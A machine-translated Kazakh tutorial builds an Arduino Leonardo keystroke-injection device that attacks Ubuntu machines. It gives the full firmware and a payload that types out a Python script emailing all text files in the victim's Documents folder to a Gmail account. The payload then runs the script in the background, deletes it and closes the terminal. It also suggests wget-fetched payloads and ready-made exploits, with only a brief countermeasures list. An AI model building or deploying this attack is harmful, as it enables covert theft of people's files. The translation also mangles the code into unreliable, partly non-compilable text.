Мазмұны:

Arduino пернетақтасының демонстрациясы (HID) және алдын алу: 4 қадам (суреттермен)
Arduino пернетақтасының демонстрациясы (HID) және алдын алу: 4 қадам (суреттермен)

Бейне: Arduino пернетақтасының демонстрациясы (HID) және алдын алу: 4 қадам (суреттермен)

Бейне: Arduino пернетақтасының демонстрациясы (HID) және алдын алу: 4 қадам (суреттермен)
Бейне: Lesson 05: Introduction to Serial Monitor | Robojax Arduino Step By Step Course 2024, Қараша
Anonim
Image
Image
Құрылғыны құру
Құрылғыны құру

Бұл жобада біз HID (humain интерфейс құрылғысы) көмегімен ықтимал USB шабуылын имитациялау үшін arduino leonardo қолданамыз.

Мен бұл оқулықты хакерлерге көмектесу үшін емес, нағыз қауіптер мен өзіңді осы қауіптен қалай қорғау керектігін көрсету үшін жасадым. Бұл құрылғы - бұл хакерлерге арналған кез келген платформада қолдануға болатын құрылғы емес, бұл тұжырымдаманың егжей -тегжейлі дәлелі.

Біз келесілерді үйренеміз:

- пернетақтаны эмуляциялау үшін arduino leonardo қалай қолдануға болады

- SD карталарынан мәліметтерді қалай оқу керек

- файлдарды қарап шығатын және оларға электрондық пошта жіберетін питон сценарийін қалай құру керек

- USB хакерлік құрылғыларынан өзіңізді қалай қорғауға болады

1 -қадам: материалдар

Бөлшектер:

1. Ардуино Леонардо

2. micro USB картасын оқу құрылғысы

3. бірнеше ГБ SD картасы

4. осы сияқты түймелер (VCC, Жер және сигнал)

5. әйел-еркек және әйел-әйел секіргіш кабельдері

6. micro USB - USB кабелі

2 -қадам: құрылғыны құру

Құрылғыны құру
Құрылғыны құру

Құрылыс нұсқаулығын бастамас бұрын жұмыс принципін қарастырайық:

Ардуино Леонардо адам интерфейсі құрылғысы (HID) сияқты әрекет ете алады, сондықтан тышқан мен пернетақтаны еліктей алады. Біз бұл мүмкіндікті терминалды ашу үшін қолданамыз (UBUNTU linux -те) және пайдаланушының үй қалтасындағы /Құжаттар қалтасына кіретін шағын сценарийді жазамыз.txt файлдарын сол жерге көшіреміз және оларды біреуге жібереміз. Егер сіз толығырақ білгіңіз келсе, келесі қадамды тексеріңіз.

Бұл демонстрациялық құрылғылар болғандықтан, біз ештеңені дәнекерлемейміз.

Құрылыс нұсқаулары

Жұмысты бастамас бұрын, бекітілген файлдарды тексеріңіз, мен фризинг схемасын және барлық қажетті файлдарды тіркедім

1. Компоненттерді жинаңыз:

* micro USB кабелін arduino -ға қосыңыз

* пернелік қосқышты arduino -ға қосыңыз (жерге, вк және шығыс модулі D8 -ге)

* картаны оқу құралын arduino -ға қосыңыз (ICSP тақырыбын қолдана отырып). Ардуино Леонардода ICSP тақырыбы цифрлық түйреуіштерге жалғанбаған, сондықтан картаны оқу құралын ICSP тақырыбына қосу қажет. ICSP сызбаларын мына жерден табуға болады: https://learn.sparkfun.com/tutorials/installing-an…. SS түйреуішін цифрлық істікке 10 қосыңыз

2. arduino кодын алыңыз, сіз менің arduino репозиторийін github -да клондай аласыз: https://github.com/danionescu0/arduino және жобалар/keyboard_exploit -ке өтіңіз немесе төменнен алыңыз:

#«Keyboard.h» қосыңыз

#include «SPI.h» #include «SD.h» String filenameOnCard = «hack.txt»; Strip sleepCommandStartingPoint = «Ұйқы::»; String commandStartingPoint = «Command::»; int delayBetweenCommands = 10; const int buttonPin = 8; const int chipSelect = 10; int previousButtonState = HIGH; void setup () {pinMode (buttonPin, INPUT); Serial.begin (9600); Keyboard.begin (); if (! SD.begin (chipSelect)) {Serial.println («Карта істен шықты немесе жоқ!»); қайтару; }} void loop () {int buttonState = digitalRead (buttonPin); if ((buttonState! = previousButtonState) && (buttonState == HIGH)) {sdFileToKeyboard (); Serial.println («Жүктелген!»); кешіктіру (500); } previousButtonState = buttonState; } void sdFileToKeyboard () {File dataFile = SD.open (filenameOnCard); if (! dataFile) {Serial.println («Көрсетілген файл атауы SD картасында жоқ, filenameOnCard тексеріңіз!»); } Жолдық жол; while (dataFile.available ()) {line = dataFile.readStringUntil ('\ n'); Serial.println (жол); sendToKeyboard (жол); } dataFile.close (); } void sendToKeyboard (String line) {String workingLine = line; if (workingLine.indexOf (sleepCommandStartingPoint)! = -1) {sleepFor (line); қайтару; } if (workingLine.indexOf (commandStartingPoint) == -1) {Serial.print («Мәтін:»); Serial.println (жол); Keyboard.println (сызық); Enter () басыңыз; қайтару; } Serial.println («Пәрмен:»); int charPosition = commandStartingPoint.length (); int lineLength = line.length (); workingLine += «,»; while (workingLine! = «») {workingLine = workingLine.substring (charPosition); Serial.print («WorkingLine:»); Serial.println (workingLine); int specialCommandDelimiterPosition = workingLine.indexOf («,»); Жол командасы = workingLine.substring (0, specialCommandDelimiterPosition); charPosition = specialCommandDelimiterPosition + 1; if (command! = «») {Serial.print («Пәрмен табылды:»); Serial.println (пәрмен); Keyboard.press (getCommandCode (команда)); кешіктіру (delayBetweenCommands); }} Keyboard.releaseAll (); кешіктіру (delayBetweenCommands); } жарамсыз pressEnter () {Keyboard.press (KEY_RETURN); Keyboard.releaseAll (); } void sleepFor (String line) {int sleepAmount = line.substring (sleepCommandStartingPoint.length (), line.length ()). toInt (); Serial.print («Sleeping for:»); Serial.println (sleepAmount); кешігу (ұйқының мөлшері); } char getCommandCode (Жол мәтіні) {char textCharacters [2]; text.toCharArray (мәтіндік таңбалар, 2); char коды = textCharacters [0]; код = (мәтін == «KEY_LEFT_CTRL»)? KEY_LEFT_CTRL: код; код = (мәтін == «KEY_LEFT_SHIFT»)? KEY_LEFT_SHIFT: код; код = (мәтін == «KEY_LEFT_ALT»)? KEY_LEFT_ALT: код; код = (мәтін == «KEY_UP_ARROW»)? KEY_UP_ARROW: код; код = (мәтін == «KEY_DOWN_ARROW»)? KEY_DOWN_ARROW: код; код = (мәтін == «KEY_LEFT_ARROW»)? KEY_LEFT_ARROW: код; код = (мәтін == «KEY_RIGHT_ARROW»)? KEY_RIGHT_ARROW: код; код = (мәтін == «KEY_RIGHT_GUI»)? KEY_RIGHT_GUI: код; код = (мәтін == «KEY_BACKSPACE»)? KEY_BACKSPACE: код; код = (мәтін == «KEY_TAB»)? KEY_TAB: код; код = (мәтін == «KEY_RETURN»)? KEY_RETURN: код; код = (мәтін == «KEY_ESC»)? KEY_ESC: код; код = (мәтін == «KEY_INSERT»)? KEY_INSERT: код; код = (мәтін == «KEY_DELETE»)? KEY_DELETE: код; код = (мәтін == «KEY_PAGE_UP»)? KEY_PAGE_UP: код; код = (мәтін == «KEY_PAGE_DOWN»)? KEY_PAGE_DOWN: код; код = (мәтін == «KEY_HOME»)? KEY_HOME: код; код = (мәтін == «KEY_END»)? KEY_END: код; код = (мәтін == «KEY_CAPS_LOCK»)? KEY_CAPS_LOCK: код; код = (мәтін == «KEY_F1»)? KEY_F1: код; код = (мәтін == «KEY_F2»)? KEY_F2: код; код = (мәтін == «KEY_F3»)? KEY_F3: код; код = (мәтін == «KEY_F4»)? KEY_F4: код; код = (мәтін == «KEY_F5»)? KEY_F5: код; код = (мәтін == «KEY_F6»)? KEY_F6: код; код = (мәтін == «KEY_F7»)? KEY_F7: код; код = (мәтін == «KEY_F8»)? KEY_F8: код; код = (мәтін == «KEY_F9»)? KEY_F9: код; код = (мәтін == «KEY_F10»)? KEY_F10: код; код = (мәтін == «KEY_F11»)? KEY_F1: код; код = (мәтін == «KEY_F12»)? KEY_F2: код;

қайтару коды;

}

3. Ардуиноға кодты жүктеңіз, 9600 беру жылдамдығын, сериялық портты және arduino leonardo таңдаңыз

4. SD картасын FAT16 немесе FAT32 көмегімен пішімдеңіз

5. Егер сіз github репо қызметін жоғарыдан клондаған болсаңыз, hack.txt файлын картаға көшіріңіз, егер олай болмаса, файл төменде көрсетілген:

Command:: KEY_LEFT_CTRL, KEY_LEFT_ALT, tSleep:: 500 vi hack.py Sleep:: 300 Command:: KEY_INSERT smtplib импорттау шары, os.path поштасынан импорттау кеңейтушісінен os. MIMEMMipEMartipart email -ден MIMEMultipart. MIMEBase электрондық поштадан импорттау. MIMEText электрондық поштадан MIMEText импорты

smtp_user = 'sender_gmail_address'

smtp_pass = 'sender_gmail_password' to_address = 'receiver_address' scan_documents_location = 'Құжаттар'

subject = body = 'Бұзылған компьютерден алынған файлдар'

header = 'Кімге: {0} nКімнен: {1} nТақырып: {2} n'.format (адрес, smtp_user, тақырып)

def sendMail (тақырыпқа, мәтінге, файлдарға = ):

msg = MIMEMultipart () msg ['From'] = smtp_user msg ['To'] = COMMASPACE.join (to) msg ['Date'] = formatdate (localtime = True) msg ['Subject'] = тақырып msg.attach (MIMEText (мәтін)) файлдардағы файл үшін: part = MIMEBase ('application', «octet-stream») part.set_payload (open (file, «rb»). Read ()) Encoders.encode_base64 (part) бөлігі. add_header ('Content-Disposition', 'тіркеме; filename = « % s»' % os.path.basename (файл)) msg.attach (бөлігі)

сервер = smtplib. SMTP ('smtp.gmail.com:587')

server.starttls () server.login (smtp_user, smtp_pass) server.sendmail (smtp_user, to, msg.as_string ()) server.quit ()

sendMail ([to_address], тақырып, негізгі мәтін, glob.glob («{0}/{1}/*. txt».формат (кеңейтуші («~»), сканерлеу_құжаттар_ орны)))

Ұйқы:: 50 пәрмені:: KEY_ESC Ұйқы:: 100: x Ұйқы:: 500 nohup python hack.py & Sleep:: 700 rm -rf hack.py Ұйқы:: 400 пәрмені:: KEY_LEFT_ALT, KEY_F4

6. Келесі жолдарды өңдеңіз:

smtp_user = 'sender_email_addr'

smtp_pass = 'sender_password' to_address = 'ресивер_адресі'

Және оны электрондық пошта мекенжайларымен ауыстырыңыз

7. Картаны алып, оны arduino картасын оқу құрылғысына салыңыз

3 -қадам: ол қалай жұмыс істейді, толығырақ

Шабуыл қалай жұмыс істейді:

1. Түйме басылған кезде, Леонардо SD картасын оқу құралының көмегімен SD картасын оқиды. Карточкада кілттер мен пернелер тіркесімі бар арнайы файл болады. Файл атауы - «hack.txt».

Файлда шикі мәтін болуы мүмкін және ол дәл солай пернетақтаға беріледі.

Сондай -ақ, ол «Ұйқы::» және «Команда::» сияқты арнайы командаларды қамтуы мүмкін.

Мынадай сызық:

Ұйқы:: 200 200 мс ұйқыны білдіреді

Мынадай сызық:

Command:: KEY_LEFT_CTRL, KEY_LEFT_ALT, t - сол жақтағы ctrl, солға қарай басылған, t басылған және барлығы босатылған дегенді білдіреді

Сіз барлық арнайы кілттерді мына жерден тексере аласыз:

2. Леонардо жолдан -жолға оқиды, командаларды түсіндіреді және пернетақтадағы пернелерге еліктейді. «Hack.txt» файлында келесі әрекеттерді орындайтын пернелер тіркесімі бар (UBUNTU linux үшін):

а. терминалды ашады (CTRL + ALT + T)

б. vi көмегімен питон файлын ашады («vi hack.py» деп жазады)

c) Python сценарийін жазады, ол құжаттардың негізгі қалтасындағы барлық мәтіндік файлдарды жинайды және оларды белгіленген gmail мекенжайына жібереді.

d. файлды фонда іске қосады («nohup python hack.py &»)

д. файлды жояды (rm -rf hack.py)

f. терминалды жабады (ALT + F4)

Мұның бәрі бірнеше секунд ішінде өтеді және із қалдырмайды.

Жақсартулар мен ақауларды жою

* Сіз терминалды ашқаннан кейін мен python файлын жазатынымды байқадыңыз. Мұны істеудің жақсы әдісі - оны бір жерде орналастыру және «wget some_url» пәрмені арқылы жүктеу, содан кейін оны hack.py деп қайта атау.

* Сондай -ақ, біз мақсатты операциялық жүйе үшін дайын эксплуатацияны жүктей немесе іске қоса аламыз

* Wi -Fi модульге қосылуы мүмкін, ал хакерлерді WIFI арқылы жүктеуге болады

* сіз arduino micro -ды қолдана аласыз (ол әлдеқайда кіші) және оған эксплуатациялық кодты енгізе аласыз (оны кішірейту үшін)

Шектеулер

1. Модельдік құрылғыда (пернетақта мен тінтуір) ешқандай кері байланыс жоқ болғандықтан, біз команданы шығарғаннан кейін не болатынын білмейміз, бұл кешіктіруді қолдану керек дегенді білдіреді. Мысалы, мен терминалды ашуға пәрмен беремін, бірақ оның қашан ашылатынын білмеймін, сондықтан кейін енгізілген таңбалардың жоғалмауы үшін ерікті кідірісті көрсету керек.

2. Біз USB портына кіре алмау немесе бір нәрсені орнатуға рұқсат беру сияқты рұқсат мәселелеріне тап болуымыз мүмкін

3. Теру жылдамдығы Леонардода онша жақсы емес

4. Тек мақсатты операциялық жүйеде жұмыс істейді (біздің жағдайда UBUNTU linux)

Келесі қадамда біздің компьютерді бұзуға жол бермеу үшін осы шектеулерді пайдалану жолдарын табуға тырысамыз

4 -қадам: қарсы шаралар

1. USB порттарын өшіру

-терезелер үшін сіз бұл оқулықты тексере аласыз:

2. USB құрылғыларын ақ тізімге енгізіңіз:

- терезелер үшін:

2. Сіз жоқ кезде компьютерді құлыптаңыз

3. Түбір ретінде кірмеңіз (кез келген нәрсені орнату үшін пароль қажет)

4. Өзіңізді жаңартып отырыңыз (автоматты жаңартулар қосылады)

Ұсынылған: